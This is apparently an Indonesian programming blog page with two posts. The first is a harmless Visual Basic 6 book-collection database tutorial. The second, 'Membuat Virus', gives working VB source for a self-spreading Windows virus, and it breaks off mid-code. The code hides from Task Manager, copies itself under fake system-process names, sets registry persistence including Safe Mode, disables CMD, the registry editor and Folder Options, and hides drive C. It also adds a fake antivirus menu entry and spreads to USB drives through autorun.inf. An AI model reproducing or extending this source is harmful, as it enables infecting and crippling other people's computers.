MyBooks Database

Sekarang kita mencoba belajar Database visual basic, yaitu database dengan menggunakan Microsoft Office Acces sebagai sumber datanya.Program ini sebagai janji saya kepada beberapa pengunjung yang menanyakan mengenai database. Kita akan membuat sebuah aplikasi sederhana "Koleksi Bukuku" yang berfungsi untuk menyimpan daftar koleksi buku yang mungkin sangat banyak dan kita belum sempat melakukan inventarisasi terhadapnya.Saya sendiri sempat terkejut pada saat saya membuat project ini karena ketika saya memasukan data buku-buku saya eh..ternyata jumlahnya lumayan banyak yaitu 45 buku, bayangkan jika semua buku tersebut minimal harganya 25.000 sudah menghabiskan berapa rupiah nih ..???
Tapi semua buku pasti bermanfaat dan saya tentu tidak menyesal untuk membelinya dan memilikinya.
Thanks My Books.

Baik langsung saja yang dibutuhkan dalam project ini adalah :

1. satu form dengan nama main
2. satu dataenvironment dengan nama dataenvironment1
3. datareport dengan nama datareport1

Control yang ada didalam form, yaitu :

1. Imagelist1 sebagai penampung image untuk toolbar
2. Toolbar1 sebagai tempat menampung gambar yang akan dapat di klik langsung oleh user
3. frame1 sebagai tempat
4. tujuh Textbox yaitu txtjudul, txtreferensi, txtpenulis, txtcetakan, txtpenerbit, txtrecordaktif dan txtsearch
5. satu ComboBox yaitu cbosearch
6. satu CommandButton yaitu cmdcari
7. membuat Menubar untuk menampung File, Tambah, Hapus, urut sesuai Judul , urut sesuai Resensi dan seterusnya.

Fasilitas yang ada pada project sederhana ini adalah :

1. Pencarian
2. Tambah data
3. Hapus Data
4. Update data
5. Pembatalan data
6. Simpan data
7. Edit data
8. Menampilkan laporan yang lumayan tampilannya
9. Lebih fleksibel karena untuk koneksi ke database menggunakan kode dan tidak menggunakan Adodc yang saya rasa kurang fleksibel dalam koneksi database.
10. Navigasi (Next, Previous, First dan Last) yang diletakan di menubar sehingga lebih hemat tempat.

BACA DAHULU CODE-CODE DIBAWAH INI KHUSUSNYA PADA "MNUITEMREPORT" DAN "CASE LAPORAN". JANGAN JALANKAN JIKA BELUM DICOMPILE KARENA NANTI WALAUPUN SUDAH ANDA STOP PROJECT ANDA MAKA APLIKASI YANG BERADA DIFOLDER INI YAITU "KOLEKSIBUKUKU.EXE" AKAN DIJALANKAN !!!

BACA ALASANYA DI "MNUITEMREPORT" DAN "CASE LAPORAN".

Masukan semua kode di bawah ini dalam form

Option Explicit
Private WithEvents adoPrimaryRSdaftarBuku As Recordset 

Private Sub CboSearch_Click()
'jika cbosearch diklik
Select Case CboSearch


'memilih Judul
Case "Judul"
TxtSearch.Text = ""
TxtSearch.Enabled = True
TxtSearch.BackColor = vbWindowText
TxtSearch.SetFocus


Case "Referensi"
TxtSearch.Text = ""
TxtSearch.Enabled = True
TxtSearch.BackColor = vbWindowText
TxtSearch.SetFocus


Case "Penulis"
TxtSearch.Text = ""
TxtSearch.Enabled = True
TxtSearch.BackColor = vbWindowText
TxtSearch.SetFocus


Case "Penerbit"
TxtSearch.Text = ""
TxtSearch.Enabled = True
TxtSearch.BackColor = vbWindowText
TxtSearch.SetFocus
End Select
End Sub 

Private Sub DisableSearch()
TxtSearch.Enabled = False
TxtSearch.BackColor = vbWindowText
TxtSearch.Text = "Masukan Kata Kunci Pencarian"
CboSearch.Text = "Pencarian"
End Sub 

Private Sub Command1_Click()
If TxtSearch.Text = "" Then
Beep
TxtSearch.SetFocus
Else
'jika cbosearch dipilih
Select Case CboSearch


Case "Judul"
'melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find "Judul like '*" + TxtSearch + "*'", , adSearchForward, 1


Case "Referensi"
'melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find "Referensi like '*" + TxtSearch + "*'", , adSearchForward, 1


Case "Penulis"
'melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find "Penulis like '*" + TxtSearch + "*'", , adSearchForward, 1
Case "Penerbit"
'melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find "Penerbit like '*" + TxtSearch + "*'", , adSearchForward, 1
End Select


'jika data tidak ditemukan maka
If adoPrimaryRSdaftarBuku.EOF Then
MsgBox "Data yang anda cari tidak ditemukan", vbOKOnly + vbCritical, "Search"
adoPrimaryRSdaftarBuku.MoveFirst
TxtSearch.Text = ""
TxtSearch.SetFocus
End If
End If
On Error GoTo 0
LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub
Private Sub Form_Load()
Dim db As Connection
Set db = New Connection
db.CursorLocation = adUseClient
db.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;" & _


"Data Source=" & App.Path & "\Daftar Buku.mdb;"


Set adoPrimaryRSdaftarBuku = New Recordset
adoPrimaryRSdaftarBuku.Open "TblDaftarBuku", db, adOpenStatic, adLockOptimistic


'Bind the ole controls to the data provider
Set txtJudul.DataSource = adoPrimaryRSdaftarBuku
Set txtReferensi.DataSource = adoPrimaryRSdaftarBuku
Set txtPenulis.DataSource = adoPrimaryRSdaftarBuku
Set TxtCetakan.DataSource = adoPrimaryRSdaftarBuku
Set txtPenerbit.DataSource = adoPrimaryRSdaftarBuku
'mengurutkan berdasarkan field referensi
adoPrimaryRSdaftarBuku.Sort = "Referensi"
LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub 
Private Sub Form_Unload(Cancel As Integer)
adoPrimaryRSdaftarBuku.Close
End Sub
Private Sub MnuBatal_Click()
DisableSearch
'disable textbox
txtJudul.Enabled = False
txtReferensi.Enabled = False
txtPenulis.Enabled = False
TxtCetakan.Enabled = False
txtPenerbit.Enabled = False
'batalkan update kemudian menuju ke record pertama
adoPrimaryRSdaftarBuku.CancelUpdate
adoPrimaryRSdaftarBuku.MoveFirst
End Sub 
Private Sub mnuitemabout_Click()
DisableSearch
'menampilkan pesan mengenai aplikasi
MsgBox "Koleksi Bukuku Version 1.0.0 Oleh Joko", vbInformation, "Koleksi Bukuku"
End Sub 
Private Sub mnuitemadd_Click()
DisableSearch
'menambah data buku
adoPrimaryRSdaftarBuku.AddNew
'textbox enable/dapat diisi
txtJudul.Enabled = True
txtReferensi.Enabled = True
txtPenulis.Enabled = True
TxtCetakan.Enabled = True
txtPenerbit.Enabled = True
'pointer aktif di txtjudul
txtJudul.SetFocus
End Sub 
Private Sub mnuitemdelete_Click()
DisableSearch
If txtJudul.Text = "" Then
MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"
txtReferensi.Text = "."
adoPrimaryRSdaftarBuku.Delete adAffectCurrent
adoPrimaryRSdaftarBuku.MoveFirst
Else
'Hapus daftar buku record aktif
adoPrimaryRSdaftarBuku.Delete adAffectCurrent
adoPrimaryRSdaftarBuku.MoveFirst
End If
LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub
Private Sub mnuitemedit_Click()
DisableSearch
'mengaktifkan textbox agar dapat diubah daftar bukunya
txtJudul.Enabled = True
txtReferensi.Enabled = True
txtPenulis.Enabled = True
TxtCetakan.Enabled = True
txtPenerbit.Enabled = True
End Sub
Private Sub mnuitemexit_Click()
'mengakhiri aplikasi
Unload Me
End Sub
Private Sub mnuitemreport_Click()
DisableSearch
'INI CODE UPDATE REPORT/LAPORAN YANG BURUK TETAPI EFEKTIF DAN TIDAK BIKIN SAYA PUSING HE..HE..,
'SAYA TULISKAN KARENA JIKA KITA BUKA LAPORAN DAN MENUTUPNYA KEMBALI KEMUDIAN KITA MELAKUKAN PERUBAHAN
'PADA DATA (PENAMBAHAN ATAU PENGHAPUSAN DATA) TERNYATA JIKA KITA BUKA KEMBALI LAPORAN
'MAKA DIHASILKAN LAPORAN YANG MASIH LAMA (BELUM MENGALAMI PENAMBAHAN/PENGHAPUSAN)
'SEHINGGA SAYA LAKUKAN CODE DIBAWAH INI YAITU MENUTUP APLIKASI DAN MEMANGGILNYA KEMBALI
'KEMUDIAN BARU LAPORAN (DATAREPORT1) DITAMPILKAN. MAAF MENGGUNAKAN JALAN PINTAS HE..HE...BAGI YANG TAHU BAGI ILMU DONG..


Unload Main 'MENUTUP APLIKASI
Shell App.Path & "\KOLEKSIBUKUKU.EXE" 'MEMANGGIL APLIKASI KEMBALI
DataReport1.Show 'MENAMPILKAN LAPORAN
End Sub
Private Sub mnuitemsave_Click()
DisableSearch
If txtJudul.Text = "" Then
MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"
txtReferensi.Text = "."
adoPrimaryRSdaftarBuku.Delete adAffectCurrent
adoPrimaryRSdaftarBuku.MoveFirst
Else
'menyimpan daftar buku yang telah di inputkan
adoPrimaryRSdaftarBuku.Save
End If
txtJudul.Enabled = False
txtReferensi.Enabled = False
txtPenulis.Enabled = False
TxtCetakan.Enabled = False
txtPenerbit.Enabled = False
LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub 
Private Sub MnuFirst_Click()
'menuju ke record pertama
adoPrimaryRSdaftarBuku.MoveFirst
DisableSearch
LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub
Private Sub MnuLast_Click()
'menuju ke record terakhir
adoPrimaryRSdaftarBuku.MoveLast
DisableSearch
LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub
Private Sub mnunext_Click()
'menuju ke record setelah/ke depan
adoPrimaryRSdaftarBuku.MoveNext
'jika record sudah sampai pada record yang terakhir maka akan berbunyi nada beep dan record yang aktif adalah record terakhir
If adoPrimaryRSdaftarBuku.EOF Then
Beep
adoPrimaryRSdaftarBuku.MoveLast
End If
DisableSearch
LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub
Private Sub mnuprevious_Click()
adoPrimaryRSdaftarBuku.MovePrevious
'jika record sudah sampai pada record yang pertama maka akan berbunyi nada beep dan record yang aktif adalah record pertama
If adoPrimaryRSdaftarBuku.BOF Then
Beep
adoPrimaryRSdaftarBuku.MoveFirst
End If


DisableSearch
LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition
End Sub 
Private Sub MnuUpdate_Click()
DisableSearch
With adoPrimaryRSdaftarBuku
'mengedit data pada record aktif
.Clone
!Judul = txtJudul.Text
!Referensi = txtReferensi.Text
!Penulis = txtPenulis.Text
!cetakan = TxtCetakan.Text
!Penerbit = txtPenerbit.Text
'menyimpan hasil pengeditan data
.Update
End With


If txtJudul.Text = "" Then
MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"
mnuitemdelete_Click
End If
End Sub 
Private Sub MnuUrutJudul_Click()
'mengurutkan berdasarkan field Judul
adoPrimaryRSdaftarBuku.Sort = "Judul"
DisableSearch
End Sub
Private Sub MnuUrutpenerbit_Click()
'mengurutkan berdasarkan field Penerbit
adoPrimaryRSdaftarBuku.Sort = "Penerbit"
DisableSearch
End Sub
Private Sub MnuUrutPenulis_Click()
'mengurutkan berdasarkan field Penulis
adoPrimaryRSdaftarBuku.Sort = "Penulis"
DisableSearch
End Sub 
Private Sub MnuUrutReferensi_Click()
'mengurutkan berdasarkan field referensi
adoPrimaryRSdaftarBuku.Sort = "Referensi"
DisableSearch
End Sub

Private Sub Toolbar1_ButtonClick(ByVal Button As MSComctlLib.Button)


'menggunakan statemen select case
'initialisasi toolbar dan isi
Select Case Button.Key


Case "Tambah"
'disabled TxtSearch
DisableSearch


'menambah daftar koleksi buku
adoPrimaryRSdaftarBuku.AddNew
txtJudul.Enabled = True
txtReferensi.Enabled = True
txtPenulis.Enabled = True
TxtCetakan.Enabled = True
txtPenerbit.Enabled = True
txtJudul.SetFocus


Case "Simpan"
DisableSearch


If txtJudul.Text = "" Then
MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"
txtReferensi.Text = "."
adoPrimaryRSdaftarBuku.Delete adAffectCurrent
adoPrimaryRSdaftarBuku.MoveFirst
Else
'menyimpan daftar buku yang telah di inputkan
adoPrimaryRSdaftarBuku.Save
End If


txtJudul.Enabled = False
txtReferensi.Enabled = False
txtPenulis.Enabled = False
TxtCetakan.Enabled = False
txtPenerbit.Enabled = False


LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition


Case "Hapus"
DisableSearch
If txtJudul.Text = "" Then
MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasit"
txtReferensi.Text = "."
adoPrimaryRSdaftarBuku.Delete adAffectCurrent
adoPrimaryRSdaftarBuku.MoveFirst
Else
'Hapus daftar buku record aktif
adoPrimaryRSdaftarBuku.Delete adAffectCurrent
adoPrimaryRSdaftarBuku.MoveFirst
End If


LblRecordAktif.Caption = " Jumlah Koleksi " & adoPrimaryRSdaftarBuku.RecordCount & " Buku" & " dan Sekarang Posisi di Koleksi Buku ke " & adoPrimaryRSdaftarBuku.AbsolutePosition


Case "Laporan"
DisableSearch


'INI CODE UPDATE REPORT/LAPORAN YANG BURUK TETAPI EFEKTIF DAN TIDAK BIKIN SAYA PUSING HE..HE..,
'SAYA TULISKAN KARENA JIKA KITA BUKA LAPORAN DAN MENUTUPNYA KEMBALI KEMUDIAN KITA MELAKUKAN PERUBAHAN
'PADA DATA (PENAMBAHAN ATAU PENGHAPUSAN DATA) TERNYATA JIKA KITA BUKA KEMBALI LAPORAN
'MAKA DIHASILKAN LAPORAN YANG MASIH LAMA (BELUM MENGALAMI PENAMBAHAN/PENGHAPUSAN)
'SEHINGGA SAYA LAKUKAN CODE DIBAWAH INI YAITU MENUTUP APLIKASI DAN MEMANGGILNYA KEMBALI
'KEMUDIAN BARU LAPORAN (DATAREPORT1) DITAMPILKAN. MAAF MENGGUNAKAN JALAN PINTAS HE..HE...BAGI YANG TAHU BAGI ILMU DONG..


Unload Main 'MENUTUP APLIKASI
Shell App.Path & "\KoleksiBukuku.exe" 'MEMANGGIL APLIKASI KEMBALI
DataReport1.Show 'MENAMPILKAN LAPORAN


Case "Ubah"
DisableSearch


'membuat textbox dapat di edit/ubah
txtJudul.Enabled = TruetxtReferensi.Enabled = True
txtPenulis.Enabled = True
TxtCetakan.Enabled = True
txtPenerbit.Enabled = True


Case "Batal"
DisableSearch
'disable textbox
txtJudul.Enabled = False
txtReferensi.Enabled = False
txtPenulis.Enabled = False
TxtCetakan.Enabled = False
txtPenerbit.Enabled = False
'batalkan update kemudian menuju ke record pertama
adoPrimaryRSdaftarBuku.CancelUpdate
adoPrimaryRSdaftarBuku.MoveFirst


Case "Update"
DisableSearch
With adoPrimaryRSdaftarBuku
.Clone
!Judul = txtJudul.Text
!Referensi = txtReferensi.Text
!Penulis = txtPenulis.Text
!cetakan = TxtCetakan.Text
!Penerbit = txtPenerbit.Text
'menyimpan hasil pengeditan data
.Update
End With


If txtJudul.Text = "" Then
MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"
mnuitemdelete_Click
End If


Case "Keluar"
'keluar dari aplikasi
Unload Me
End Select
End Sub 
Private Sub TxtSearch_KeyPress(KeyAscii As Integer)
KeyAscii = Asc(UCase(Chr(KeyAscii)))
On Error Resume Next
'jika menekan enter
If KeyAscii = 13 Then
TxtSearch.SetFocus
TxtSearch.SelStart = 0
TxtSearch.SelLength = Len(TxtSearch.Text)


'jika cbosearch dipilih
Select Case CboSearch


Case "Judul"
'melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find "Judul like '*" + TxtSearch + "*'", , adSearchForward, 1


Case "Referensi"
'melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find "Referensi like '*" + TxtSearch + "*'", , adSearchForward, 1


Case "Penulis"
'melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find "Penulis like '*" + TxtSearch + "*'", , adSearchForward, 1


Case "Penerbit"
'melakukan pencarian data pd txtsearch
adoPrimaryRSdaftarBuku.Find "Penerbit like '*" + TxtSearch + "*'", , adSearchForward, 1
End Select


'jika data tidak ditemukan maka
If adoPrimaryRSdaftarBuku.EOF Then
MsgBox "Data yang anda cari tidak ditemukan",vbOKOnly + vbCritical, "Search"
adoPrimaryRSdaftarBuku.MoveFirst
TxtSearch.Text = ""
TxtSearch.SetFocus
End If
End If
On Error GoTo 0
End Sub 
Letakan kode di bawah ini di Data environment1

Private Sub DataEnvironment_Initialize()
'Selalu terkoneksi dengan database "Daftar Buku.mdb" asalkan masih dalam satu folder dengan aplikasi.
'Akibat jika anda lupa tdk menulis kode di bawah ini adalah
'- muncul pesan untuk memasukan alamat yang benar database pada saat akan melihat laporan/report,
'pesan ini muncul karena anda membuat folder baru untuk meletakkan project sehingga alamat tdk ditemukan
'untuk latihan jangan tulis kode di bawah ini tetapi melalui Dataenvironment1 klik kanan properties
'pilih alamat file database "Daftar Buku.mdb". Kemudian coba jalankan aplikasi dan
'pilih laporan maka laporan akan terlihat. Sekarang keluar dari VB dan pindahkan folder project anda
'ke sembarang (alamat baru), jalankan aplikasi database masih terkoneksi
'tetapi pada saat ingin melihat laporan akan muncul pesan error.


DataEnvironment1.DaftarBuku.ConnectionString = App.Path & "\Daftar Buku.mdb"


End Sub

Semoga bermanfaat
Download Data Base MyBooks
Bagikan

Membuat Virus

Program kita kali ini adalah membuat Virus sederhana yaitu hanya mengganggu Microsoft Office Word dan Excel.Misalkan user membuka Word maka pada kertas tempat mengetik sudah muncul pesan dari Virus demikian pula jika membuka Excel maka pesan akan diberikan virus pada cell Excel. Sederhana sekali ya..ya memang virus ini tidak merusak dokumen/file-file dan tidak mengahpus file-file apapun jadi virus yang sangat baik hati..he..he..Jika anda ingin menambahkan fiture-fiture yang kejam silahkan saja tapi disini/virus ini tidak saya tuliskan bagaimana melakukan format atau delete file ataupun fiture penyusupan lainnya (sekarang belum saatnya).Silahkan dicoba dijamin 100% tidak ada data yang dihapus, ini hanya sebuah virus permainan saja kok..berani mencoba?

Yang dibutuhkan dalam pembuatan project ini adlah : 5 buah timer dan 1 drivelistbox
Pada proyek kali ini kita dapat belajar mengenai Windows Api Sendmessage, registry, dan Otomatisasi pada Word serta Excel. Semoga bermanfaat.

Masukan semua code di bawah ini pada form
==========================================

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long 'pencari Kleas dan Window Name Suatu File
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long 'sendmessage
Private Declare Function GetDriveType& Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) ' penghandel flashdisk
Private Declare Function ExitWindowsEx Lib "user32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long 'exit windows
Private Const WM_CLOSE = &H10
Private Const EWX_LOGOFF = 0
Private Const EWX_SHUTDOWN = 1
Private Const EWX_REBOOT = 2
Private Const EWX_FORCE = 4
Private Const EWX_POWEROFF = 8

Option Explicit
Dim FWnd
Dim obj As Object
Dim doc As Object
Dim WrkBook As Object
Dim WrkSheet As Object
Dim i As Integer
Dim RegRun
Dim FolderStartUp
Dim FolderMyDocuments
Dim FolderTemplates
Dim FolderNetHood
Dim FolderPrintHood
Dim FolderFavorites
Dim FolderSendTo
Dim FolderPrograms
Dim FlashDisk

Private Sub Form_Load()
On Error Resume Next
'acak caption virus shg caption akan berubah setiap windows startup atau virus tereksekusi
Randomize
Me.Caption = Int(Rnd * 2221189331445#) 'silahkan masukan angka sesuka anda
'menggandakan diri
GandakefolderIstimewa
Me.Visible = False
App.TaskVisible = False 'virus tidak terlihat di task manager
InfeksiRegistry
End Sub

Sub BuatWord()
On Error Resume Next
Set obj = CreateObject("word.application")
Set doc = CreateObject("word.application")
Set doc = obj.Documents.Add
doc.Content = "VIRUS BERHASIL MENGINFEKSIMU - SALAM KENAL"
End Sub

Sub BuatXls()
On Error Resume Next
Set obj = CreateObject("excel.application")
Set WrkBook = obj.workbooks.Add
Set WrkSheet = WrkBook.worksheets.Add
WrkSheet.Cells(15, 4) = "VIRUS BERHASIL MENGINFEKSIMU - SALAM KENAL"
End Sub

Sub InfeksiRegistry()
On Error Resume Next
RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe" & " """ & FolderMyDocuments & "\services.exe""" 'virus akan tetap berjalan pada tipe windows Safe Mode
RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell", FolderFavorites & "\SalamKenal.exe" 'virus akan tetap berjalan pada tipe windows Safe Mode With Command Prompt
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" 'Folder Options tdk dapat diakses
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" 'Folder Options tdk dapat diakses
RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD" 'Disable CMD dan File .Bat
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD" 'Disable CMD dan File .Bat
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools", 1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools", 1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon", FolderTemplates & "\smss.exe" 'smss.exe berjalan pada saat startup
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon", FolderSendTo & "\System.exe" 'System.exe berjalan pada saat startup
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind", 1, "REG_DWORD" 'search pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind", 1, "REG_DWORD" 'Ssearch pd star menu hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp", 1, "REG_DWORD" 'help suport pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp", 1, "REG_DWORD" 'help suport pd star menu hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose", 1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose", 1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\Control Panel\Colors\WindowText", "255 0 0", "REG_SZ" 'DEFAULT TEKS MENJADI MERAH
RegRun.regwrite "HKEY_CLASSES_ROOT\Drive\shell\Scan With Antivirus\Command\", FolderFavorites & "\SalamKenal.exe" 'Membuat Menu Scan With Antivirus pada klik kanan Drive-drive, tapi bukan Antivirus yang dijalankan melainkan Virus SalamKenal.exe yang terletak di Folder Favorite
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives", 4, "REG_DWORD" 'Drive C hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives", 4, "REG_DWORD" 'Drive C hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu", 1, "REG_DWORD" 'Menu File pada Windows Ekplorer hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu", 1, "REG_DWORD" 'Menu File pada Windows Ekplorer hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorun", 1, "REG_DWORD" 'Autorun pada CD atau USB
End Sub

Sub GandaKeFlashDisk()
On Error Resume Next
If Dir(FlashDisk & "\Winlogon.exe") <> "Winlogon.exe" Then 'mengecek ada atau tdknya winlogon.exe di flashdisk jika tdk ada kemudian
FileCopy FolderStartUp & "\Winlogon.exe", FlashDisk & "\Winlogon.exe"
SetAttr FlashDisk & "\Winlogon.exe", vbHidden + vbSystem + vbReadOnly
End If
BuatFileAutorunInf
End Sub

Sub BuatFileAutorunInf()
'membuat file Autorun.inf ke flashdisk yang berfungsi agar setiap flashdisk jika di klik dua kali/klik kanan trus klik open maka Virus (winlogon.exe) akan tereksekusi
On Error Resume Next
Open FlashDisk & "\Autorun.Inf" For Output As 1
Print #1, "[AutoRun]"
Print #1, "Icon=Winlogon.exe" 'Agar FlashDisk Memiliki Icon Sama dengan Virus
Print #1, "Open=Winlogon.exe"
Print #1, "ShellExecute=Winlogon.exe"
Print #1, "Shell\Open\Command=Winlogon.exe"
Print #1, "Shell=Open"
Close #1
SetAttr FlashDisk & "\Autorun.Inf", vbHidden + vbSystem + vbReadOnly
End Sub

Sub GandakefolderIstimewa()
On Error Resume Next
Set RegRun = CreateObject("WScript.Shell")
FolderStartUp = RegRun.specialfolders("StartUp")
FolderMyDocuments = RegRun.specialfolders("MyDocuments")
FolderTemplates = RegRun.specialfolders("Templates")
FolderNetHood = RegRun.specialfolders("NetHood")
FolderPrintHood = RegRun.specialfolders("PrintHood")
FolderFavorites = RegRun.specialfolders("Favorites")
FolderSendTo = RegRun.specialfolders("SendTo")
FolderPrograms = RegRun.specialfolders("Programs")
On Error Resume Next
'membuat virus dengan nama winlogon.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderStartUp & "\WinLogon.Exe"
SetAttr FolderStartUp & "\Winlogon.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama services.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderMyDocuments & "\services.Exe"
SetAttr FolderMyDocuments & "\services.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama smss.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderTemplates & "\smss.Exe"
SetAttr FolderTemplates & "\smss.Exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama csrss.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderPrintHood & "\csrss.Exe"
SetAttr FolderPrintHood & "\csrss.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama Isass.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderNetHood & "\Isass.Exe"
SetAttr FolderNetHood & "\Isass.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama SalamKenal.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderFavorites & "\SalamKenal.Exe"
SetAttr FolderFavorites & "\SalamKenal.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama System.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderSendTo & "\System.Exe"
SetAttr FolderSendTo & "\System.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama ctfmon.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderPrograms & "\ctfmon.Exe"
SetAttr FolderPrograms & "\ctfmon.exe", vbHidden + vbSystem + vbReadOnly
End Sub

Private Sub Timer1_Timer() 'Timer 1 diberi interval 5 detik
On Error Resume Next
FWnd = FindWindow("OpusApp", "Document1 - Microsoft Word") 'Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
